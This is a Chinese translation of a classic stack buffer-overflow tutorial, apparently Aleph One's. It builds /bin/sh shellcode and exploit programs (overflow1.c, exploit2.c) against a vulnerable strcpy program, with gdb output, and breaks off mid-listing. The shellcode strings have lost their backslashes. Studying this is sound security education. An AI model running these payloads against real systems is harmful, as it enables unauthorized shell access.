本文共 38468 字,大约阅读时间需要 128 分钟。
简 介
本文试图解释什么是缓冲区溢出, 以及如何利用.缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态缓冲区的溢出问题, 即基于堆栈的缓冲区溢出. 进程的内存组织形式 ~~~~~~~~~~~~~~~~~~~~ 为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈区域, 但首先按照顺序简单介绍一下其他区域.文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行
文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误(segmentation violation).数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数
据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间./------------------ 内存低地址
| | | 文本 | | | |------------------| | (已初始化) | | 数据 | | (未初始化) | |------------------| | | | 堆栈 | | | ------------------/ 内存高地址Fig. 1 进程内存区域
什么是堆栈? ~~~~~~~~~~~~~ 堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.
堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一
个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一. 为什么使用堆栈? ~~~~~~~~~~~~~~~~ 现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返
回值也要用到堆栈. 堆栈区域 ~~~~~~~~~~ 堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令PUSH和POP, 向堆栈中添加元素和从中移去元素.堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑
堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我
们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定
地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,
因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部变量的偏移量是负值.当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以
恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于有效地序幕和收尾工作.下面我们用一个简单的例子来展示堆栈的模样:
example1.c:------------------------------------------------------------------------------void function(int a, int b, int c) { char buffer1[5]; char buffer2[10];}void main() {
function(1,2,3);}------------------------------------------------------------------------------ 为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:$ gcc -S -o example1.s example1.c
通过查看汇编语言输出, 我们看到对function()的调用被翻译成:
pushl $3
pushl $2 pushl $1 call function 以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做的第一件事情是例程的序幕工作:pushl %ebp
movl %esp,%ebp subl $20,%esp将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这
个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节
的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样(每个空格代表一个字节): 内存低地址 内存高地址 buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部 堆栈底部缓冲区溢出 ~~~~~~~~~~~~ 缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:
example2.c
------------------------------------------------------------------------------void function(char *str) { char buffer[16];strcpy(buffer,str);
}void main() {
char large_string[256]; int i;for( i = 0; i < 255; i++)
large_string[i] = 'A';function(large_string);
}------------------------------------------------------------------------------ 这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就会产生段错误. 让我们看看在调用函数时堆栈的模样:内存低地址 内存高地址
buffer sfp ret *str
<------ [ ][ ][ ][ ]堆栈顶部 堆栈底部
这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的
内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然,buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET, 甚至*str!我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回地址的下一个指令, 此时我们就得到一个段错误.因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.
现在回到第一个例子, 回忆当时堆栈的模样:内存低地址 内存高地址
buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部 堆栈底部现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.
堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:example3.c:
------------------------------------------------------------------------------void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret;ret = buffer1 + 12;
(*ret) += 8;}void main() {
int x;x = 0;
function(1,2,3); x = 1; printf("%dn",x);}------------------------------------------------------------------------------我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过
赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用过一个试验值(比如1), 编译该程序, 祭出工具gdb:------------------------------------------------------------------------------
[aleph1]$ gdb example3GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble mainDump of assembler code for function main:0x8000490 <main>: pushl %ebp0x8000491 <main+1>: movl %esp,%ebp0x8000493 <main+3>: subl $0x4,%esp0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)0x800049d <main+13>: pushl $0x30x800049f <main+15>: pushl $0x20x80004a1 <main+17>: pushl $0x10x80004a3 <main+19>: call 0x8000470 <function>0x80004a8 <main+24>: addl $0xc,%esp0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax0x80004b5 <main+37>: pushl %eax0x80004b6 <main+38>: pushl $0x80004f80x80004bb <main+43>: call 0x8000378 <printf>0x80004c0 <main+48>: addl $0x8,%esp0x80004c3 <main+51>: movl %ebp,%esp0x80004c5 <main+53>: popl %ebp0x80004c6 <main+54>: ret0x80004c7 <main+55>: nop------------------------------------------------------------------------------我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值
指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节. Shell Code ~~~~~~~~~~ 现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ | |____________________________|堆栈顶部 堆栈底部 派生出一个shell的C语言代码是这样的:shellcode.c-----------------------------------------------------------------------------#include <stdio.h>void main() {
char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}------------------------------------------------------------------------------ 为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c[aleph1]$ gdb shellcodeGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: retEnd of assembler dump.(gdb) disassemble __execveDump of assembler code for function __execve:0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl $0xb,%eax0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int $0x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>0x80002de <__execve+34>: popl %edx0x80002df <__execve+35>: movl %edx,(%eax)0x80002e1 <__execve+37>: movl $0xffffffff,%eax0x80002e6 <__execve+42>: popl %ebx0x80002e7 <__execve+43>: movl %ebp,%esp0x80002e9 <__execve+45>: popl %ebp0x80002ea <__execve+46>: ret0x80002eb <__execve+47>: nopEnd of assembler dump.------------------------------------------------------------------------------ 下面我们看看这里究竟发生了什么事情. 先从main开始研究:------------------------------------------------------------------------------0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,
然后为局部变量保留空间. 这里是: char *name[2]; 即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的 空间.0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这
等价于: name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于: name[1] = NULL; 对execve()的真正调用从下面开始:0x8000144 <main+20>: pushl $0x0我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax把name[]的地址放到EAX寄存器中.
0x8000149 <main+25>: pushl %eax接着就把name[]的地址压入堆栈中.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 把字串"/bin/sh"的地址放到EAX寄存器中0x800014d <main+29>: pushl %eax接着就把字串"/bin/sh"的地址压入堆栈中
0x800014e <main+30>: call 0x80002bc <__execve>调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.
------------------------------------------------------------------------------ 现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在寄存器里, 并且使用软中断跳入内核模式. ------------------------------------------------------------------------------0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx例程的准备工作.
0x80002c0 <__execve+4>: movl $0xb,%eax把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引
11就是execve.0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器EBX中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址放到寄存器ECX中.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx把空指针的地址放到寄存器EDX中.
0x80002ce <__execve+18>: int $0x80
进入内核模式.
------------------------------------------------------------------------------由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:
a) 把以NULL结尾的字串"/bin/sh"放到内存某处. b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word). c) 把0xb放到寄存器EAX中. d) 把字串"/bin/sh"的地址放到寄存器EBX中. e) 把字串"/bin/sh"地址的地址放到寄存器ECX中. (注: 原文d和e步骤把EBX和ECX弄反了) f) 把空长字的地址放到寄存器EDX中. g) 执行指令int $0x80. 但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execve调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit系统调用. exit系统调用在汇编语言看起来象什么呢?exit.c
------------------------------------------------------------------------------#include <stdlib.h>void main() { exit(0);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c[aleph1]$ gdb exitGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble _exitDump of assembler code for function _exit:0x800034c <_exit>: pushl %ebp0x800034d <_exit+1>: movl %esp,%ebp0x800034f <_exit+3>: pushl %ebx0x8000350 <_exit+4>: movl $0x1,%eax0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx0x8000358 <_exit+12>: int $0x800x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx0x800035d <_exit+17>: movl %ebp,%esp0x800035f <_exit+19>: popl %ebp0x8000360 <_exit+20>: ret0x8000361 <_exit+21>: nop0x8000362 <_exit+22>: nop0x8000363 <_exit+23>: nopEnd of assembler dump.------------------------------------------------------------------------------ 系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80".就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现在我们构造shell code的步骤就是这样的了:a) 把以NULL结尾的字串"/bin/sh"放到内存某处.
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word). c) 把0xb放到寄存器EAX中. d) 把字串"/bin/sh"的地址放到寄存器EBX中. e) 把字串"/bin/sh"地址的地址放到寄存器ECX中. (注: 原文d和e步骤把EBX和ECX弄反了) f) 把空长字的地址放到寄存器EDX中. g) 执行指令int $0x80. h) 把0x1放到寄存器EAX中. i) 把0x0放到寄存器EAX中. j) 执行指令int $0x80. 试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串地址和空字, 我们有如下的代码:------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here.------------------------------------------------------------------------------ 问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示: 内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3)堆栈顶部 堆栈底部
运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:
------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here.------------------------------------------------------------------------------ 通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的偏量, 我们得到:------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string "/bin/sh" # 8 bytes------------------------------------------------------------------------------ 这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb来取得二进制代码.shellcodeasm.c------------------------------------------------------------------------------void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string "/bin/sh" # 8 bytes");}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c[aleph1]$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: jmp 0x800015f <main+47>0x8000135 <main+5>: popl %esi0x8000136 <main+6>: movl %esi,0x8(%esi)0x8000139 <main+9>: movb $0x0,0x7(%esi)0x800013d <main+13>: movl $0x0,0xc(%esi)0x8000144 <main+20>: movl $0xb,%eax0x8000149 <main+25>: movl %esi,%ebx0x800014b <main+27>: leal 0x8(%esi),%ecx0x800014e <main+30>: leal 0xc(%esi),%edx0x8000151 <main+33>: int $0x800x8000153 <main+35>: movl $0x1,%eax0x8000158 <main+40>: movl $0x0,%ebx0x800015d <main+45>: int $0x800x800015f <main+47>: call 0x8000135 <main+5>0x8000164 <main+52>: das0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp0x8000168 <main+56>: das0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)End of assembler dump.(gdb) x/bx main+30x8000133 <main+3>: 0xeb(gdb)0x8000134 <main+4>: 0x2a(gdb)...------------------------------------------------------------------------------testsc.c------------------------------------------------------------------------------char shellcode[] = "xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00" "x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80" "xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff" "xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void main() {
int *ret;ret = (int *)&ret + 2;
(*ret) = (int)shellcode;}
------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c[aleph1]$ ./testsc$ exit[aleph1]$------------------------------------------------------------------------------成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.
那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,同时把代码精简一点. Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string "/bin/sh" # 8 bytes # 46 bytes total");}------------------------------------------------------------------------------ And our new test program:testsc2.c------------------------------------------------------------------------------char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";void main() {
int *ret;ret = (int *)&ret + 2;
(*ret) = (int)shellcode;}
------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c[aleph1]$ ./testsc2$ exit[aleph1]$------------------------------------------------------------------------------ 破解实战 ~~~~~~~~~~ 现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:overflow1.c------------------------------------------------------------------------------char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";char large_string[128];
void main() {
char buffer[96]; int i; long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];strcpy(buffer,large_string);
}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c[aleph1]$ ./exploit1$ exitexit[aleph1]$------------------------------------------------------------------------------如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在
buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我们的shellcode中, 得到一个shell.我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个
缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出它的堆栈指针: sp.c------------------------------------------------------------------------------unsigned long get_sp(void) { __asm__("movl %esp,%eax");}void main() { printf("0x%xn", get_sp());}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp0x8000470[aleph1]$------------------------------------------------------------------------------假定我们要使其溢出的程序如下:
vulnerable.c------------------------------------------------------------------------------void main(int argc, char *argv[]) { char buffer[512];if (argc > 1)
strcpy(buffer,argv[1]);}------------------------------------------------------------------------------我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起
的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符串放到一个环境变量中, 这样就容易操作一些.exploit2.c
------------------------------------------------------------------------------#include <stdlib.h>#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {
__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {
char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n"); exit(0); }addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);ptr = buff;
addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;ptr += 4;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];buff[bsize - 1] = '';
memcpy(buff,"EGG=",4);
